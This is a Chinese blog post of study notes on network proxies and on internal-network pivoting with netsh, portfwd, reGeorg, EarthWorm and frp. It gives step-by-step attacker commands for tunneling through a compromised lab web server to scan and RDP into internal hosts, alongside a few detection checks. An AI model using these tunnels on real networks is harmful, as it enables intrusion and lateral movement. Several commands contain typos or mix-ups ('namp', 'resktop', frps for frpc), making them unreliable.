当前位置: 首页 > news >正文

8月9日笔记

8月9日笔记

什么是代理?

“代理”通常指的是“网络代理”,它是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。代理服务器作为中间人,接收来自客户端的请求,并将这些请求转发给目标服务器,然后再将从目标服务器接收到的响应返回给客户端。

在这里插入图片描述

这是没有代理时的请求与响应。

在这里插入图片描述

有代理时的请求与响应。

正向代理

正向代理时,由客户端发送对某一个目标服务器的请求,发送到代理服务器,代理服务器在中间将请求转发给该目标服务器,目标服务器将结果返回给代理服务器,代理服务器再将结果返回给客户端。

客户端发送的所有请求都先经过代理服务器,然后由代理服务器转发给目标服务器。使用正向代理时,客户端是需要配置代理服务的地址、端口、账号密码(如有)等才可使用的。比如翻墙等等。

在这里插入图片描述
通过使用代理服务器,客户端的真实IP地址可以被隐藏,从而实现一定程度的匿名访问。

反向代理

反向代理是一种特殊的网络代理服务,它位于一组后端服务器前面,接收客户端的请求并将这些请求转发给后端服务器之一。客户端并不直接与后端服务器通信,而是通过反向代理服务器间接访问。这种配置主要用于负载均衡、缓存、安全性增强以及简化管理等多种目的。通过反向代理,可以将客户端的请求分发到多个后端服务器以平衡负载,存储常用的静态内容以减少对后端服务器的请求次数,隐藏真实服务器的IP地址以增加安全性。

在这里插入图片描述

正向代理和反向代理的区别

最核心的不同在于代理的对象不同

正向代理是代理客户端

反向代理是代理服务器。

而根据这核心的区别,可以知道:代理哪端便可以隐藏哪端(也就是说:正向代理隐藏真实客户端,反向代理隐藏真实服务端)。

内网代理常见的工具

某些情况下,为保护内网安全以及优化网站负载服务端也会使用代理程序代理大量来自客户端的网络请求,反向代理主要面向服务端服务,客户端的请求会直接发给代理服务器,代理服务器会转发至服务端并将服务端响应返回值客户端。故而反向代理的过程中,客户端无法确定真实服务端地址,仅与代理端进行通信。攻击者在成功入侵某一台对外服务器后也会利用以上代理原理进行内网横向渗透进一步扩大战果,上传代理工具至对外服务器将其改造为跳板机,建立通往内网的通信隧道

netsh端口转发

netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问,如内网某台服务器的ssh端口可转发至本地即可通过暴力破解或弱口令方式尝试登陆目标服务器。

靶机A是web服务器,靶机B在内网中。攻击者获取到靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过利用靶机A自带命令行程序netsh,netsh可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。

设置端口转发规则命令:

netsh interface portproxy add v4tov4listenaddress=<靶机A IP地址>listenport=<靶机A端口>connectaddress=<靶机B IP地址>connectport=<靶机B 端口>protocol={tcp|udp}

这样攻击者只要使用靶机A的端口就可以访问靶机B的端口。

删除端口转发策略命令

netsh interface portproxy delete v4tov4
2  listenaddress=<靶机A IP地址>
3  listenport=<靶机A 端口>
4  protocol={tcp|udp}

使用以下命令可以确认主机是否被恶意植入了端口转发策略(反制)

netsh interface portproxy show v4tov4

portfwd端口转发

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4以及IPV6的端口转发。攻击者在获取对外服务器权限后为扩大战果,会上传端口转发工具至对外服务器,获得更多的可攻击面。例如将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口,即可通过暴力破解和弱口令的方式尝试登陆内网服务器。实际环境下攻击者利用靶机的漏洞上传改工具。

portfwd分为两种:tcpfwd和udpfwd

用法:

用tcp连接将本地端口 1022 映射到 192.168.5.138:3389
---------------------------
tcpfwd 0.0.0.0:1022 192.168.1.77:22     # allow access from all hosts
tcpfwd 127.0.0.1:1022 192.168.1.77:22   # only allow localhost
tcpfwd [::]:1022 192.168.1.77:22        # allow access to port 1022 via both IPv4 and IPv6
-----------------------------------
用udp连接将本地端口 53 映射到 192.168.5.138:3389
-------------------------
udpfwd 0.0.0.0:53 8.8.8.8:53
udpfwd [::]:53 8.8.8.8:53

通过如下命令可以确定进程的可执行文件所在位置,并进行清除。(反制)

ls -al /proc/pid

在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口建立了tcp连接。(反制)

netstat -ano

regeorg正向代理

ReGeorg 是一个用于内网穿透的工具,它能够帮助用户在受到防火墙或网络限制的情况下建立到目标网络的连接。ReGeorg 主要通过使用 HTTP 协议作为传输层来实现这一目的,因此可以在大多数网络环境下工作,即使是在那些禁止了其他协议(如 SSH 或 Telnet)的网络中。

攻击机:kali 192.168.5.15

靶机A(web服务器):192.168.5.114

靶机B:192.168.5.124

ReGeorg 通常通过 Python 脚本来实现。要使用 ReGeorg,靶机A需要具备 Python 环境,并安装必要的依赖包。安装过程通常包括克隆项目仓库并安装所需的 Python 库。

在攻击机上执行如下命令下载regeorg代理工具包

git clone https://github.com/sensepost/reGeorg.git

在攻击机上运行socks代理脚本

python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
-u: 指定 HTTP 代理服务器的 URL 地址,该 URL 地址指向了一个包含 ReGeorg 代理脚本的 Web 服务器。
-p: 指定本地监听的端口,客户端可以通过这个端口连接到 SOCKS 代理。

提示georg says, ‘all seems fine’说明连接成功,已完成端口复用。

在攻击机上配置本地全局代理proxychains,使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。攻击机自带proxychains全局代理工具,默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1088

以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A,再通过靶机A转发至内网其他服务器。

通过靶机A转发到靶机B的命令:(在攻击机上运行)

proxychains telnet 192.168.5.124 445

查看靶机A上的网络连接,可以看到攻击机的请求成功实现端口复用,复用了java进程创建的端口连接了靶机B的445端口。查看靶机B的网络连接无法看到攻击机ip地址,靶机A作为攻击机的正向代理

使用端口扫描工具对靶机B进行端口扫描:

proxychains4 namp -sV -Pn 192.168.5.124

此时在靶机B上看到的所有端口扫描请求源地址均来自靶机A而不是攻击机。

earthworm反向代理

Earthworm(有时拼写为 Arthworm)是一套便携式的网络穿透工具,它提供了 socks 代理和端口转发两大核心功能,支持正向代理、反向代理、多级代理等多种方式来打通网络隧道。Earthworm 能够在复杂网络环境下完成网络穿透和内网横向渗透的任务。

利用earthworm反向代理进行内网横向渗透

靶机A: 192.168.5.10

靶机B: 192.168.5.12

攻击机: 192.168.5.2

工具攻击机下载:

git clone https://github.com/idlefire/ew.git
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。 

使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。

#在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口,建立与攻击机的反向代理。
./ew -s rssocks -d vpsip -e 8888

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf。编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1080

实际环境下攻击机地址一般为公网vps地址,若为公网vps地址,此时全局代理配置ip应设置为vps地址。

在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。

proxychains telnet 192.168.5.12 3389

在靶机B上只能看到靶机A的地址与自身3389端口建立了连接,无法看到攻击机地址。

此时利用全局代理以及靶机A的代理隧道,即使靶机B处于内网无法通过外网访问,也可通过此代理隧道实现远程登录靶机B,实现内网的横向移动。

使用如下命令远程登录靶机B:
proxychains4 resktop 192.168.5.12

攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

使用earthworm多级代理进行内网横向渗透

靶机A: 192.168.5.10

靶机B: 192.168.5.12

靶机C: 192.168.5.16

攻击机: 192.168.5.2

某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。

在攻击机上运行如下命令,可在攻击机本地开启1080和6666监听端口,并将1080端口收到的流量转发至6666端口。

./ew -s lcx_listen -l 1080 -e 6666
#在靶机B上运行如下命令,可开启9999端口的正向代理
./ew -s ssocksd -l 9999
#在靶机A上运行如下命令,同时连接攻击机的反向代理端口和靶机B的正向代理端口
./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999

在攻击机上使用如下命令通过代理隧道探测靶机C的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。

proxychains telnet 192.168.5.16 3389

此时登录靶机C查看网络连接会看到telnet请求触发的tcp连接发起端为靶机B。说明攻击机发起的请求经由靶机A转发至靶机B,有经由靶机B的正向代理转发至靶机C。

proxychains4 resktop 192.168.5.16
#攻击机弹出了靶机C的远程桌面端口,此时若靶机C使用了弱密码或被暴力破解成功即可实现远程登录。

frp反向代理

frp(Fast Reverse Proxy)是一个高性能的反向代理应用,用于实现内网穿透,可以在复杂网络环境下帮助用户建立网络连接。frp 主要用于解决内网服务器无法被外部网络直接访问的问题,通过在公网服务器上部署 frp 服务器端,并在内网服务器上部署 frp 客户端,实现内外网之间的通信。

  • 服务器端 (frps):部署在公网服务器上,负责接收客户端的连接请求,并将请求转发到对应的内网服务器。
  • 客户端 (frpc):部署在内网服务器上,负责与服务器端建立连接,并将数据转发给服务器端。

但此类操作存在较大安全隐患,会将内网服务直接暴露在公网。

靶机A: 192.168.5.10

靶机B: 192.168.5.12

攻击机: 192.168.5.2

工具下载

wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz

首先需要修改两个配置文件:frps.ini和frpc.ini

frps.ini修改内容:

[common]
bind_addr = 0.0.0.0
bind_port = 33310
allow_ports = 33310-33410
token = 52010 #随便自己改
在攻击机(公网服务器)上启动服务端
./frps -c frps.ini 

frpc.ini修改内容:

[common]
server_addr = 192.168.5.2 #指定了 frp 服务器端的 IP 地址。
server_port = 33310	#指定了 frp 服务器端监听的端口
token = 52010[socks_proxy]
type = tcp
plugin = socks5
remote_port = 33311	#指定了在服务器端公开的端口,客户端可以通过这个端口连接到 SOCKS5 代理。
local_port = 33311	#指定了本地监听的端口,客户端将通过这个端口与 SOCKS5 代理进行通信。
在内网靶机A(内网服务器)上反向代理客户端
./frps -c frps.ini 

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5代理地址和端口如下:

socks5 127.0.0.1 33311
proxychains4 resktop 192.168.5.12
攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

注意:这个是在本地进行测试的,在公网服务器上的话,frps.ini和frpc.ini配置跟上面不一样。

相关文章:

8月9日笔记

8月9日笔记 什么是代理? “代理”通常指的是“网络代理”&#xff0c;它是一种特殊的网络服务&#xff0c;允许一个网络终端&#xff08;一般为客户端&#xff09;通过这个服务与另一个网络终端&#xff08;一般为服务器&#xff09;进行非直接的连接。代理服务器作为中间人…...

API 签名认证:AK(Access Key 访问密钥)和 SK(Secret Key 私密密钥)

API签名认证 在当今的互联网时代&#xff0c;API作为服务与服务、应用程序与应用程序之间通信的重要手段&#xff0c;其安全性不容忽视。你是否遇到过需要在HTTP请求中加入访问密钥(ak)和私密密钥(sk)的情况&#xff1f;是不是担心这些敏感信息会被拦截或者泄露&#xff1f;本…...

Redis 单机和集群环境部署教程

目录 一、Redis 单机环境部署1. 环境准备2. 安装 Redis2.1 安装依赖2.2 下载并编译 Redis2.3 配置 Redis2.4 设置 Redis 为系统服务 3. Redis 配置选项详解4. 注意事项 二、Redis 集群环境部署1. 环境准备2. 安装 Redis3. 配置 Redis 集群3.1 配置文件调整3.2 启动 Redis 实例3…...

华为hcip-big data 学习笔记《一》大数据应用开发总指导

一、大数据应用开发总指导 1. 前言 随着大数据技术的飞速发展和大数据应用的不断普及&#xff0c;大数据已经成为当今时代最热门的话题之一。不过对于大数据的了解&#xff0c;很多人还只是停留在表面&#xff0c;提到大数据&#xff0c;很多人只是直到它是最新的科技&#x…...

用户画像架构图

背景 本文讲述下实现一个画像平台的架构图 架构图 这里面的人群圈选我们这里主要采用ck和spark&#xff0c;不过也有很多使用es&#xff0c;如果使用es的话&#xff0c;需要把标签的数据也存储到es的表中&#xff0c;类似我们这里放到ck的表中一样&#xff0c;这样就可以通过…...

37.x86游戏实战-XXX遍历怪物数组

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 本次游戏没法给 内容参考于&#xff1a;微尘网络安全 工具下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1rEEJnt85npn7N38Ai0_F2Q?pwd6tw3 提…...

go语言中map为什么不会自动初始化?

go语言中map为什么不会自动初始化&#xff1f; 在Go语言中&#xff0c;map类型不会自动初始化的原因在于其设计哲学和类型系统。以下是具体原因&#xff1a; 零值设计&#xff1a;Go语言中的每种类型都有一个零值&#xff0c;例如整型的零值是0&#xff0c;布尔型的零值是fals…...

大数据面试SQL(一):合并日期重叠的活动

文章目录 合并日期重叠的活动 一、题目 二、分析 三、SQL实战 四、样例数据参考 合并日期重叠的活动 一、题目 已知有表记录了每个品牌的活动开始日期和结束日期&#xff0c;每个品牌可以有多个活动。请编写一个SQL查询合并在同一个品牌举行的所有重叠的活动&#xff0c…...

stm32应用、项目、调试

主要记录实际使用中的一些注意点。 1.LCD 1.LCD1602 电路图&#xff1a; 看手册&#xff1a;电源和背光可以使用5v或者3.3v&#xff0c;数据和控制引脚直接和单片机引脚连接即可。 单片机型号&#xff1a;stm32c031c6t6 可以直接使用推完输出连接D0--D7,RS,EN,RW引脚&#…...

WEB渗透-未授权访问篇

WEB渗透未授权访问篇-Redis-CSDN博客 activemq 默认端口8161&#xff0c;默认账户密码admin/admin http://1.1.1.1:8161/admin/connections.jsp PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0 Content-Length: 27 Host: 1.1.1.1:8161 Connection: Close Authorization: Basic YW…...

x86_64、AArch64、ARM32、LoongArch64、RISC-V

以下是对 x86_64、AArch64、ARM32、LoongArch64 和 RISC-V 这几种计算机架构的介绍&#xff0c;包括它们的应用场景、优缺点&#xff1a; 1. x86_64 简介: x86_64 是由 AMD 推出的 64 位扩展版 x86 架构&#xff0c;兼容于英特尔的 IA-32 架构。这一架构被广泛应用于桌面和服…...

git push上不去的问题Iremote reiectedl——文件过大的问题

在新建分支的时候&#xff0c;发现push怎么也上传不上去&#xff0c;一开始觉得是权限的问题&#xff0c;但是尝试了各种方案都没有用&#xff0c;后面再仔细看了一下是文件太大了&#xff0c;远程拒绝推送 接下来&#xff0c;和大家讲讲我的解决方案 1、把修改的代码迁移到新…...

Qt Creator卡顿

删除IDE的配置参数的保存文件夹QtProject&#xff0c;使得Qt Creator恢复出厂值。 C:\Users\替换为你的用户名\AppData\Roaming\QtProject 参考链接&#xff1a; Qt Creator 卡顿 卡死...

数据结构笔记(其五)--串

目录 12.串 12.1 基本操作 12.2 串的存储结构 12.3 字符串的模式匹配算法 (1).朴素模式匹配算法 (2).KMP算法 i.next[]数组的求解 ii.next[]数组的优化——nextval数组 iii.手算nextval数组 iiii.机算nextval数组 + KMP函数 12.串 串,即字符串(string),由零个或多…...

Python爬取高清美女图片

文章概述 本文将详细介绍如何使用Python编写一个简单的爬虫来抓取高清美女图片。我们将利用requests库来发送HTTP请求&#xff0c;使用BeautifulSoup库来解析HTML文档&#xff0c;从而提取出图片的URL并将其下载到本地。 技术栈 Python: 编程语言requests: HTTP客户端库Beau…...

gin路由

1主文件 package main import ("github.com/gin-gonic/gin""godade/user""net/http" ) func main() {router : gin.Default()router.GET("/", func(c *gin.Context) {c.String(http.StatusOK, "Hello World")})v1 : router…...

达梦数据库操作以及报错修改

执行失败(语句1) -6105:: 数据类型不匹配 第12 行附近出现错误 插入sql语句 INSERT INTO "by_ioc_rbac"."user_info" ("user_account", "user_name", "birthday", "password", "gender", "mobi…...

江科大/江协科技 STM32学习笔记P21

文章目录 ADC模数转换器ADC简介逐次逼近型ADCSTM32的ADCADC基本结构输入通道转换模式单次转换&#xff0c;非扫描模式连续转换&#xff0c;非扫描模式单次转换&#xff0c;扫描模式连续转换&#xff0c;扫描模式 触发控制数据对齐转换时间校准硬件电路电位器产生可调电压的电路…...

第三方jar自带logback导致本地日志文件不生成

1.问题及解决 这是依赖的jar包&#xff0c;自己有logback&#xff0c;只打印到控制台&#xff0c;导致我们项目里配置的error级别日志不会生成到日志文件中去。ai给的答案是自己控制加载顺序&#xff0c;但很麻烦&#xff0c;--logging.config也不行&#xff0c;最好下了个7z压…...

国产数据库备份恢复实现

数据库备份恢复是数据库高可用的基本能力&#xff0c;如何通过备份数据快速高效的恢复业务并且满足不同场景下的恢复需求&#xff0c;是各数据库厂商需要关注的要点。本文将介绍几种国产数据库的备份恢复功能&#xff0c;以加深了解。 1、数据库备份恢复方案 数据库备份是生产…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

【JavaEE】-- HTTP

1. HTTP是什么&#xff1f; HTTP&#xff08;全称为"超文本传输协议"&#xff09;是一种应用非常广泛的应用层协议&#xff0c;HTTP是基于TCP协议的一种应用层协议。 应用层协议&#xff1a;是计算机网络协议栈中最高层的协议&#xff0c;它定义了运行在不同主机上…...

STM32+rt-thread判断是否联网

一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...

基础测试工具使用经验

背景 vtune&#xff0c;perf, nsight system等基础测试工具&#xff0c;都是用过的&#xff0c;但是没有记录&#xff0c;都逐渐忘了。所以写这篇博客总结记录一下&#xff0c;只要以后发现新的用法&#xff0c;就记得来编辑补充一下 perf 比较基础的用法&#xff1a; 先改这…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序

一、开发环境准备 ​​工具安装​​&#xff1a; 下载安装DevEco Studio 4.0&#xff08;支持HarmonyOS 5&#xff09;配置HarmonyOS SDK 5.0确保Node.js版本≥14 ​​项目初始化​​&#xff1a; ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...

如何为服务器生成TLS证书

TLS&#xff08;Transport Layer Security&#xff09;证书是确保网络通信安全的重要手段&#xff0c;它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书&#xff0c;可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...

Android15默认授权浮窗权限

我们经常有那种需求&#xff0c;客户需要定制的apk集成在ROM中&#xff0c;并且默认授予其【显示在其他应用的上层】权限&#xff0c;也就是我们常说的浮窗权限&#xff0c;那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...

CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝

目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为&#xff1a;一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...